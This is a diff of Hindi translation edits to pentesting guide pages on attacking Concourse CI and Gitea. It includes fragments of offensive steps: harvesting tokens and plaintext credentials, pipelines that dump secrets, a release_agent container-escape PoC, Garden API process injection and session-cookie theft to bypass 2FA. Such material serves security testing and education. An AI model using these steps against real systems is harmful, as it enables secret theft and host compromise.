**वैकल्पिक \_secret-field**\_ उस फ़ील्ड को निर्दिष्ट करता है जिसे प्राप्त किए गए रहस्य से पढ़ा जाना है। यदि छोड़ा गया है, तो क्रेडेंशियल प्रबंधक प्राप्त किए गए क्रेडेंशियल से 'डिफ़ॉल्ट फ़ील्ड' पढ़ने का विकल्प चुन सकता है यदि फ़ील्ड मौजूद है।\
इसके अलावा, _**secret-path**_ और _**secret-field**_ को डबल कोट्स `"..."` में रखा जा सकता है यदि वे **विशेष वर्ण** जैसे `.` और `:` शामिल करते हैं। उदाहरण के लिए, `((source:"my.secret"."field:1"))` _secret-path_ को `my.secret` और _secret-field_ को `field:1` पर सेट करेगा।
@@ -36,14 +36,14 @@ vars: { tag: 1.13 }
```
Or using the following `fly` **arguments**:
-- `-v` or `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है।
-- `-y` or `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है।
-- `-i` or `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें।
-- `-l` or `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज़ है, और उन्हें सभी सेट करता है।
+- `-v` या `--var` `NAME=VALUE` स्ट्रिंग `VALUE` को var `NAME` के लिए मान के रूप में सेट करता है।
+- `-y` या `--yaml-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे var `NAME` के लिए मान के रूप में सेट करता है।
+- `-i` या `--instance-var` `NAME=VALUE` `VALUE` को YAML के रूप में पार्स करता है और इसे instance var `NAME` के लिए मान के रूप में सेट करता है। instance vars के बारे में अधिक जानने के लिए [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) देखें।
+- `-l` या `--load-vars-from` `FILE` `FILE` को लोड करता है, जो मानों के लिए var नामों को मैप करने वाला एक YAML दस्तावेज है, और उन्हें सभी सेट करता है।
#### Credential Management
-एक पाइपलाइन में **Credential Manager को विभिन्न तरीकों से निर्दिष्ट किया जा सकता है**, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\
+एक पाइपलाइन में **Credential Manager को निर्दिष्ट करने के विभिन्न तरीके** हैं, इसके बारे में पढ़ें [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)।\
इसके अलावा, Concourse विभिन्न क्रेडेंशियल प्रबंधकों का समर्थन करता है:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
@@ -57,25 +57,25 @@ Or using the following `fly` **arguments**:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> ध्यान दें कि यदि आपके पास **Concourse पर कुछ प्रकार की लिखने की पहुंच** है तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए।
+> ध्यान दें कि यदि आपके पास **Concourse तक कुछ प्रकार की लिखने की पहुंच** है, तो आप **उन रहस्यों को निकालने के लिए नौकरियां बना सकते हैं** क्योंकि Concourse को उन्हें एक्सेस करने में सक्षम होना चाहिए।
### Concourse Enumeration
-एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो।
+एक concourse वातावरण को सूचीबद्ध करने के लिए, आपको पहले **मान्य क्रेडेंशियल्स** इकट्ठा करने की आवश्यकता है या एक **प्रमाणित टोकन** खोजने की आवश्यकता है, जो शायद एक `.flyrc` कॉन्फ़िग फ़ाइल में हो।
#### Login and Current User enum
-- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **team जिसका उपयोगकर्ता सदस्य है** जानना होगा:
+- लॉगिन करने के लिए आपको **endpoint**, **team name** (डिफ़ॉल्ट `main` है) और **टीम जिसका उपयोगकर्ता सदस्य है** जानना होगा:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- कॉन्फ़िगर किए गए **targets** प्राप्त करें:
+- कॉन्फ़िगर की गई **targets** प्राप्त करें:
- `fly targets`
-- जांचें कि कॉन्फ़िगर किया गया **target connection** अभी भी **मान्य** है:
+- यह प्राप्त करें कि कॉन्फ़िगर की गई **target connection** अभी भी **valid** है:
- `fly -t status`
- निर्दिष्ट लक्ष्य के खिलाफ उपयोगकर्ता की **भूमिका** प्राप्त करें:
- `fly -t userinfo`
> [!NOTE]
-> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा गया** है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं।
+> ध्यान दें कि **API token** डिफ़ॉल्ट रूप से `$HOME/.flyrc` में **सहेजा** गया है, आप मशीनों को लूटते समय वहां क्रेडेंशियल्स पा सकते हैं।
#### Teams & Users
@@ -129,20 +129,20 @@ rm /tmp/secrets.txt
#### Session inside running or recently run container
-यदि आपके पास पर्याप्त विशेषाधिकार (**सदस्य भूमिका या अधिक**) हैं, तो आप **पाइपलाइनों और भूमिकाओं की सूची** प्राप्त कर सकेंगे और बस `/` **कंटेनर** के अंदर एक **सत्र प्राप्त कर सकेंगे**:
+यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **पाइपलाइनों और भूमिकाओं की सूची** बना सकेंगे और बस `/` **कंटेनर के अंदर एक सत्र प्राप्त कर सकेंगे**:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
इन अनुमतियों के साथ आप सक्षम हो सकते हैं:
-- **गुप्त जानकारियाँ चुराना** **कंटेनर** के अंदर
+- **गुप्त जानकारी** चुराना **कंटेनर** के अंदर
- **नोड** पर **भागने** की कोशिश करना
-- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड से और नोड से, यदि संभव हो)
+- **क्लाउड मेटाडेटा** एंडपॉइंट की गणना/दुरुपयोग करना (पॉड से और यदि संभव हो तो नोड से)
#### पाइपलाइन निर्माण/संशोधन
-यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बना/संशोधित** करने में सक्षम होंगे। इस उदाहरण को देखें:
+यदि आपके पास पर्याप्त विशेषाधिकार हैं (**सदस्य भूमिका या अधिक**) तो आप **नई पाइपलाइनों को बनाने/संशोधित करने** में सक्षम होंगे। इस उदाहरण को देखें:
```yaml
jobs:
- name: simple
@@ -166,16 +166,16 @@ sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
-With the **modification/creation** of a new pipeline you will be able to:
+नए **पाइपलाइन** के **संशोधन/निर्माण** के साथ, आप सक्षम होंगे:
-- **चुराना** the **गुप्त** (via echoing them out or getting inside the container and running `env`)
-- **भागना** to the **नोड** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **क्लाउड मेटाडेटा** endpoint (from the pod and from the node)
-- **हटाना** created pipeline
+- **चुराना** **गुप्त जानकारी** (उन्हें बाहर इको करके या कंटेनर के अंदर जाकर `env` चलाकर)
+- **भागना** **नोड** पर (आपको पर्याप्त विशेषाधिकार देकर - `privileged: true`)
+- **क्लाउड मेटाडेटा** एंडपॉइंट को सूचीबद्ध/दुरुपयोग करना (पॉड और नोड से)
+- बनाए गए पाइपलाइन को **हटाना**
-#### Execute Custom Task
+#### कस्टम कार्य निष्पादित करें
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **गुप्त**):
+यह पिछले तरीके के समान है, लेकिन पूरे नए पाइपलाइन को संशोधित/निर्माण करने के बजाय, आप **बस एक कस्टम कार्य निष्पादित कर सकते हैं** (जो शायद बहुत अधिक **गुप्त** होगा):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
@@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml
```
#### Escaping to the node from privileged task
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
+पिछले अनुभागों में हमने देखा कि **concourse के साथ एक विशेषाधिकार प्राप्त कार्य कैसे निष्पादित करें**। यह कंटेनर को डॉकर कंटेनर में विशेषाधिकार ध्वज के समान सटीक पहुंच नहीं देगा। उदाहरण के लिए, आप /dev में नोड फ़ाइल सिस्टम डिवाइस नहीं देखेंगे, इसलिए बच निकलना अधिक "जटिल" हो सकता है।
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+निम्नलिखित PoC में हम कुछ छोटे संशोधनों के साथ escape करने के लिए release_agent का उपयोग करने जा रहे हैं:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -260,7 +260,7 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
```
> [!WARNING]
-> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है जो नोड में cmd के पथ को संशोधित करता है।
+> जैसा कि आपने देखा होगा, यह केवल एक [**सामान्य release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) है, जो नोड में cmd के पथ को संशोधित करता है।
#### एक वर्कर कंटेनर से नोड में भागना
@@ -295,7 +295,7 @@ cat /output
भले ही वेब कंटेनर में कुछ सुरक्षा उपाय निष्क्रिय हैं, यह **एक सामान्य विशेषाधिकार प्राप्त कंटेनर के रूप में नहीं चल रहा है** (उदाहरण के लिए, आप **माउंट** नहीं कर सकते और **क्षमताएँ** बहुत **सीमित** हैं, इसलिए कंटेनर से भागने के सभी आसान तरीके बेकार हैं)।
-हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में** संग्रहीत करता है:
+हालांकि, यह **स्थानीय क्रेडेंशियल्स को स्पष्ट पाठ में स्टोर करता है**:
```bash
cat /concourse-auth/local-users
test:test
@@ -304,9 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
-आप उन क्रेडेंशियल्स का उपयोग करके **वेब सर्वर के खिलाफ लॉगिन** कर सकते हैं और **एक विशेषाधिकार प्राप्त कंटेनर बना सकते हैं और नोड से बाहर निकल सकते हैं**।
+आप उन क्रेडेंशियल्स का उपयोग **वेब सर्वर के खिलाफ लॉगिन करने** और **एक विशेषाधिकार प्राप्त कंटेनर बनाने और नोड पर भागने** के लिए कर सकते हैं।
-पर्यावरण में आप **पोस्टग्रेसक्यूएल** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी):
+पर्यावरण में आप **postgresql** उदाहरण तक पहुँचने के लिए जानकारी भी पा सकते हैं जो concourse उपयोग करता है (पता, **उपयोगकर्ता नाम**, **पासवर्ड** और डेटाबेस सहित अन्य जानकारी):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -330,12 +330,12 @@ select * from users;
#### गार्डन सेवा का दुरुपयोग - एक असली हमला नहीं
> [!WARNING]
-> ये केवल सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है
+> ये सिर्फ सेवा के बारे में कुछ दिलचस्प नोट्स हैं, लेकिन क्योंकि यह केवल लोकलहोस्ट पर सुन रहा है, ये नोट्स कोई ऐसा प्रभाव नहीं डालेंगे जिसे हमने पहले ही शोषण किया है
-डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**गार्डन**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (इमेज डाउनलोड करना और प्रत्येक कार्य चलाना)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छे सुरक्षा उपाय हैं:
+डिफ़ॉल्ट रूप से, प्रत्येक concourse कार्यकर्ता पोर्ट 7777 में एक [**Garden**](https://github.com/cloudfoundry/garden) सेवा चला रहा होगा। इस सेवा का उपयोग वेब मास्टर द्वारा कार्यकर्ता को **यह बताने के लिए किया जाता है कि उसे क्या निष्पादित करना है** (छवि डाउनलोड करें और प्रत्येक कार्य चलाएं)। यह एक हमलावर के लिए काफी अच्छा लगता है, लेकिन कुछ अच्छी सुरक्षा हैं:
-- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक गार्डन सेवा** से बात कर सके जो प्रत्येक कार्यकर्ता के अंदर है।
-- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना** चाहते हैं, तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी।
+- यह केवल **स्थानीय रूप से** (127..0.0.1) **प्रदर्शित** है और मुझे लगता है कि जब कार्यकर्ता विशेष SSH सेवा के साथ वेब के खिलाफ प्रमाणीकरण करता है, तो एक सुरंग बनाई जाती है ताकि वेब सर्वर **प्रत्येक कार्यकर्ता के अंदर प्रत्येक गार्डन सेवा से बात कर सके**।
+- वेब सर्वर **हर कुछ सेकंड में चल रहे कंटेनरों की निगरानी कर रहा है**, और **अप्रत्याशित** कंटेनरों को **हटाया** जाता है। इसलिए यदि आप **एक कस्टम कंटेनर चलाना चाहते हैं** तो आपको वेब सर्वर और गार्डन सेवा के बीच **संवाद** के साथ **छेड़छाड़** करनी होगी।
Concourse कार्यकर्ता उच्च कंटेनर विशेषाधिकारों के साथ चलते हैं:
```
@@ -348,14 +348,14 @@ Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-हालांकि, तकनीकें जैसे **mounting** /dev डिवाइस नोड या release_agent **काम नहीं करेंगी** (क्योंकि नोड के फाइल सिस्टम के साथ असली डिवाइस उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है।
+हालांकि, /dev डिवाइस को **माउंट** करने जैसी तकनीकें या release_agent **काम नहीं करेंगी** (क्योंकि नोड का असली डिवाइस, जिसमें फाइल सिस्टम है, उपलब्ध नहीं है, केवल एक वर्चुअल है)। हम नोड की प्रक्रियाओं तक पहुँच नहीं सकते, इसलिए कर्नेल एक्सप्लॉइट्स के बिना नोड से भागना जटिल हो जाता है।
> [!NOTE]
-> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **privileged container** में **commands** **execute** कर सकते हैं जो **current** **worker** द्वारा बनाया गया है, तो हम **node** पर **escape** कर सकते हैं।
+> पिछले अनुभाग में हमने देखा कि एक विशेषाधिकार प्राप्त कंटेनर से कैसे भागना है, इसलिए यदि हम **वर्तमान** **कार्यकर्ता** द्वारा बनाए गए **विशेषाधिकार प्राप्त कंटेनर** में कमांड **निष्पादित** कर सकते हैं, तो हम **नोड पर भाग सकते हैं**।
ध्यान दें कि concourse के साथ खेलते समय मैंने देखा कि जब कुछ चलाने के लिए एक नया कंटेनर उत्पन्न होता है, तो कंटेनर प्रक्रियाएँ कार्यकर्ता कंटेनर से सुलभ होती हैं, इसलिए यह एक कंटेनर के अंदर एक नया कंटेनर बनाने जैसा है।
-**एक चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना**
+**चल रहे विशेषाधिकार प्राप्त कंटेनर के अंदर जाना**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -387,7 +387,7 @@ wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटाने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं:
+हालांकि, वेब सर्वर हर कुछ सेकंड में चल रहे कंटेनरों की जांच कर रहा है, और यदि कोई अप्रत्याशित कंटेनर पाया जाता है, तो उसे हटा दिया जाएगा। चूंकि संचार HTTP में हो रहा है, आप अप्रत्याशित कंटेनरों के हटने से बचने के लिए संचार में छेड़छाड़ कर सकते हैं:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 27dfa4d59..06f40f868 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -15,9 +15,9 @@ docker-compose up -d
```
आप अपने OS के लिए कमांड लाइन `fly` को वेब से `127.0.0.1:8080` पर डाउनलोड कर सकते हैं।
-#### Kubernetes के साथ (अनुशंसित)
+#### Kubernetes के साथ (सिफारिश की गई)
-आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को हेल्म-चार्ट का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+आप आसानी से **Kubernetes** (उदाहरण के लिए **minikube** में) को helm-chart का उपयोग करके तैनात कर सकते हैं: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -28,7 +28,7 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-कॉनकोर्स वातावरण बनाने के बाद, आप एक गुप्त कुंजी उत्पन्न कर सकते हैं और कॉनकोर्स वेब में चल रहे SA को K8s गुप्त कुंजियों तक पहुँच प्रदान कर सकते हैं:
+concourse env बनाने के बाद, आप एक गुप्त को उत्पन्न कर सकते हैं और concourse वेब में चल रहे SA को K8s गुप्तों तक पहुँचने की अनुमति दे सकते हैं:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -69,23 +69,23 @@ secret: MWYyZDFlMmU2N2Rm
```
### पाइपलाइन बनाएं
-एक पाइपलाइन [जॉब्स](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [स्टेप्स](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है।
+एक पाइपलाइन [Jobs](https://concourse-ci.org/jobs.html) की एक सूची से बनी होती है जिसमें [Steps](https://concourse-ci.org/steps.html) की एक क्रमबद्ध सूची होती है।
-### स्टेप्स
+### Steps
कई विभिन्न प्रकार के स्टेप्स का उपयोग किया जा सकता है:
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **एक** [**task**](https://concourse-ci.org/tasks.html) **चलाता है**
-- [`get` step](https://concourse-ci.org/get-step.html) एक [resource](https://concourse-ci.org/resources.html) लाता है
-- [`put` step](https://concourse-ci.org/put-step.html) एक [resource](https://concourse-ci.org/resources.html) को अपडेट करता है
-- [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) एक [pipeline](https://concourse-ci.org/pipelines.html) को कॉन्फ़िगर करता है
-- [`load_var` step](https://concourse-ci.org/load-var-step.html) एक मान को [local var](https://concourse-ci.org/vars.html#local-vars) में लोड करता है
-- [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) स्टेप्स को समानांतर में चलाता है
-- [`do` step](https://concourse-ci.org/do-step.html) स्टेप्स को अनुक्रम में चलाता है
-- [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) एक स्टेप को कई बार चलाता है; प्रत्येक संयोजन के लिए एक बार वैरिएबल मानों का
-- [`try` step](https://concourse-ci.org/try-step.html) एक स्टेप को चलाने का प्रयास करता है और सफल होता है भले ही स्टेप विफल हो जाए
+- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
+- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
+- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
+- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
+- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
+- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
+- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
+- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
+- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
-हर [स्टेप](https://concourse-ci.org/steps.html) एक [जॉब प्लान](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(यानी, मेरे परीक्षण चलाएं, यह बैश स्क्रिप्ट चलाएं, यह छवि बनाएं, आदि)_। इसलिए यदि आपके पास पांच स्टेप्स वाला एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक।
+प्रत्येक [step](https://concourse-ci.org/steps.html) एक [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) में अपने **अपने कंटेनर** में चलता है। आप कंटेनर के अंदर कुछ भी चलाने के लिए स्वतंत्र हैं _(i.e. run my tests, run this bash script, build this image, etc.)_। इसलिए यदि आपके पास पांच स्टेप्स के साथ एक जॉब है, तो Concourse पांच कंटेनर बनाएगा, प्रत्येक स्टेप के लिए एक।
इसलिए, यह संकेत देना संभव है कि प्रत्येक स्टेप को किस प्रकार के कंटेनर में चलाने की आवश्यकता है।
@@ -123,20 +123,20 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
-Check **127.0.0.1:8080** to see the pipeline flow.
+**127.0.0.1:8080** पर पाइपलाइन प्रवाह देखें।
-### Bash script with output/input pipeline
+### आउटपुट/इनपुट पाइपलाइन के साथ बैश स्क्रिप्ट
-यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहाँ आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**।
+यह संभव है कि **एक कार्य के परिणामों को एक फ़ाइल में सहेजें** और यह संकेत दें कि यह एक आउटपुट है और फिर अगले कार्य के इनपुट को पिछले कार्य के आउटपुट के रूप में संकेत दें। जो concourse करता है वह है **पिछले कार्य के निर्देशिका को नए कार्य में माउंट करना जहां आप पिछले कार्य द्वारा बनाए गए फ़ाइलों तक पहुँच सकते हैं**।
-### Triggers
+### ट्रिगर्स
आपको हर बार उन्हें चलाने के लिए मैन्युअल रूप से नौकरियों को ट्रिगर करने की आवश्यकता नहीं है, आप उन्हें हर बार चलाने के लिए प्रोग्राम भी कर सकते हैं:
- कुछ समय बीतता है: [Time resource](https://github.com/concourse/time-resource/)
- मुख्य शाखा में नए कमिट पर: [Git resource](https://github.com/concourse/git-resource)
- नए PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- अपने ऐप की नवीनतम छवि को लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
+- अपने ऐप की नवीनतम छवि लाना या पुश करना: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
एक YAML पाइपलाइन उदाहरण देखें जो मास्टर में नए कमिट पर ट्रिगर होता है [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index 412172a9b..f7e710a73 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -33,7 +33,7 @@ helm install gitea gitea-charts/gitea
- पंजीकृत उपयोगकर्ता: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
- पंजीकृत संगठन: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** संभवतः **अधिक रिपॉजिटरी या संगठनों को देख सकता है**।
+ध्यान दें कि **डिफ़ॉल्ट रूप से Gitea नए उपयोगकर्ताओं को पंजीकरण करने की अनुमति देता है**। यह नए उपयोगकर्ताओं को अन्य संगठनों/उपयोगकर्ताओं के रिपॉजिटरी पर विशेष रूप से दिलचस्प पहुंच नहीं देगा, लेकिन एक **लॉग इन उपयोगकर्ता** अधिक **रिपॉजिटरी या संगठनों** को **देखने** में सक्षम हो सकता है।
## आंतरिक शोषण
@@ -41,16 +41,16 @@ helm install gitea gitea-charts/gitea
### उपयोगकर्ता क्रेडेंशियल्स/वेब कुकी के साथ
-यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ हैं** किस **रिपॉजिटरी पर,** आप **कौन से टीमों में हैं,** **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
+यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं (या आपने एक सत्र कुकी चुराई है) तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास **कौन सी अनुमतियाँ** हैं, **कौन से रिपॉजिटरी** में, **कौन से टीमों** में आप हैं, **अन्य उपयोगकर्ताओं की सूची**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
-ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल इस जानकारी तक पहुँच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**।
+ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुंच सकते हैं यदि आप उस **चेक को भी पास कर सकते हैं**।
> [!NOTE]
-> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर किया गया) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**।
+> ध्यान दें कि यदि आप **`i_like_gitea` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**।
### उपयोगकर्ता SSH कुंजी के साथ
-Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि के रूप में उपयोग की जाएगी** (कोई 2FA लागू नहीं होता)।
+Gitea **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणीकरण विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
